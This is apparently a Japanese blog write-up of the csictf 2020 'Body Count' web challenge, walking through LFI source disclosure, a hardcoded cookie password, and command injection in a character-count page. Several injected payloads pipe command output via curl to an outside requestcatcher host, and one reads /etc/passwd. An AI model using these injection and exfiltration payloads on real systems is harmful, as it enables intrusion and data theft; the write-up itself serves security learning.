はまやんはまやんはまやん

hamayanhamayan's blog

Body Count [csictf 2020]

CTFtime.org / csictf 2020 / Body Count

Here's chracter count service for you!
http://chall.csivit.com:30202/

アクセスすると、すぐ/?file=wc.phpにリダイレクトされる。
LFIかな?

LFI

とりあえず、いつものURLでソースコードが抜けないかやってみる。
/?file=php://filter/convert.base64-encode/resource=wc.php
色々出てくるので、cyberchefに突っ込んで、ソースコードを出す。

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>wc as a service</title>
    <style>
        html,
        body {
            overflow: none;
            max-height: 100vh;
        }
    </style>
</head>

<body style="height: 100vh; text-align: center; background-color: black; color: white; display: flex; flex-direction: column; justify-content: center;">
    <?php
    ini_set('max_execution_time', 5);
    if ($_COOKIE['password'] !== getenv('PASSWORD')) {
        setcookie('password', 'PASSWORD');
        die('Sorry, only people from csivit are allowed to access this page.');
    }
    ?>

    <h1>Character Count as a Service</h1>
    <form>
        <input type="hidden" value="wc.php" name="file">
        <textarea style="border-radius: 1rem;" type="text" name="text" rows=30 cols=100></textarea><br />
        <input type="submit">
    </form>
    <?php
    if (isset($_GET["text"])) {
        $text = $_GET["text"];
        echo "<h2>The Character Count is: " . exec('printf \'' . $text . '\' | wc -c') . "</h2>";
    }
    ?>
</body>

</html>

環境変数を特定する

if ($_COOKIE['password'] !== getenv('PASSWORD')) {
    setcookie('password', 'PASSWORD');
    die('Sorry, only people from csivit are allowed to access this page.');
}

ここを突破しよう…わかんねぇ

解説を見る

ACできたか怪しいな。
リバースシェルってやったことない。やってみる。

robots.txtを見る

Disallow: /?file=checkpass.php
まあ、なんかありますね。
直接アクセスしてもリダイレクトされちゃうので、ソースコードを抜きとろう。

<?php
$password = "w0rdc0unt123";
// Cookie password.
echo "IMPORTANT!!! The page is still under development. This has a secret, do not push this page.";

header('Location: /');

はい。w0rdc0unt123をCookieに入れておこう。

RCE

if (isset($_GET["text"])) {
    $text = $_GET["text"];
    echo "<h2>The Character Count is: " . exec('printf \'' . $text . '\' | wc -c') . "</h2>";
}

まあ、これをみるとRCEできそうな感じはしますね。
コマンド実行をしているので、インジェクションしよう。

リバースシェル

'; ls; #を入れてみると、z.phpと出てくる。
恐らく何行かあっても1行しか表示されないのだろう。
リバースシェルが使えないかやってみようとしたけど、うまくいかんかった。
wslだからかなぁ…
もう復習続きで疲れたので、次出たら頑張る…

without リバースシェル

'; ls | curl https://evilman.requestcatcher.com/post -X POST -d @-; #とやると、色々出てくる。

c.php
checkpass.php
d.php
e.php
index.php
robots.txt
wc.php
z.php

色々ファイルがありますね…catコマンドで全部抜いてみよう。

c.php

<?=var_dump(scandir(/ctf));?>

アクセスすると500エラー。権限が無い?

d.php

<?php system("whoami");?>

アクセスするとwww-dataと表示される。

e.phpとz.phpは同じで以下。

<?php print_r(scandir(/));?>

アクセスすると500エラー。権限が無い?

'; ls -la /ctf | curl https://evilman.requestcatcher.com/post -X POST -d @-; #

total 32
drwxr-xr-x 1 root ctf  4096 Jul 22 06:39 .
drwxr-xr-x 1 root root 4096 Jul 22 07:05 ..
-rwxr-xr-x 1 root ctf    53 Jul 22 06:27 README
drwxr-xr-x 1 root ctf  4096 Jul 22 06:39 avenged
drwxr-xr-x 1 root ctf  4096 Jul 22 06:39 dream
-rwxr-xr-x 1 root ctf    72 Jul 22 06:27 findaas
drwxr-xr-x 1 root ctf  4096 Jul 22 06:39 led
drwxr-xr-x 1 root ctf  4096 Jul 22 06:39 system

cat /ctf/READMEしてみると、

My password hash is 6f246c872cbf0b7fd7530b7aa235e67e.

CrackStationでヒットする。

Hash:6f246c872cbf0b7fd7530b7aa235e67e
Type:md5
Result:csictf

password?と思って、/?file=/etc/passwdを見てみる。

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
ctf:x:1000:1000::/ctf:/bin/sh

ctfとかいうユーザーがいますね。ctf:csictfか。

'; find / -iname "*flag*" | curl https://evilman.requestcatcher.com/post -X POST -d @-; #でflagと名前の付くファイルパスを列挙する。
眺めると、/ctf/system/of/a/down/flag.txtがある。
試しに/?file=/ctf/system/of/a/down/flag.txtを見てみるが、500エラー。権限か。

先ほどのユーザーでログインして、ファイルを取得してみる。
'; echo "csictf" | su ctf -c "cat /ctf/system/of/a/down/flag.txt" | curl https://evilman.requestcatcher.com/post -X POST -d @-; #
のようにsuでctfユーザーの権限を付けて開いて、POSTするとフラグが手に入る。